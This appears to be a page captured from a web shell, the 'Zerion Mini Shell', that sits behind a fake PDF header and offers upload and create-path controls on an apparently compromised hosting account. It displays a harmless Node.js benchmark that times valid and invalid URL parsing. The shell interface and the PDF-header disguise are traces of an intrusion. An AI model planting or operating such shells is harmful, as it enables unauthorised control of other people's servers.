%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/node/benchmark/url/
Upload File :
Create Path :
Current File : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/node/benchmark/url/whatwg-url-validity.js

'use strict';
const common = require('../common.js');
const url = require('url');
const URL = url.URL;

const bench = common.createBenchmark(main, {
  type: ['valid', 'invalid'],
  e: [1e5],
});

// This benchmark is used to compare the `Invalid URL` path of the URL parser
function main({ type, e }) {
  const url = type === 'valid' ? 'https://www.nodejs.org' : 'www.nodejs.org';
  bench.start();
  for (let i = 0; i < e; i++) {
    try {
      new URL(url);
    } catch {
      // do nothing
    }
  }
  bench.end(e);
}

Zerion Mini Shell 1.0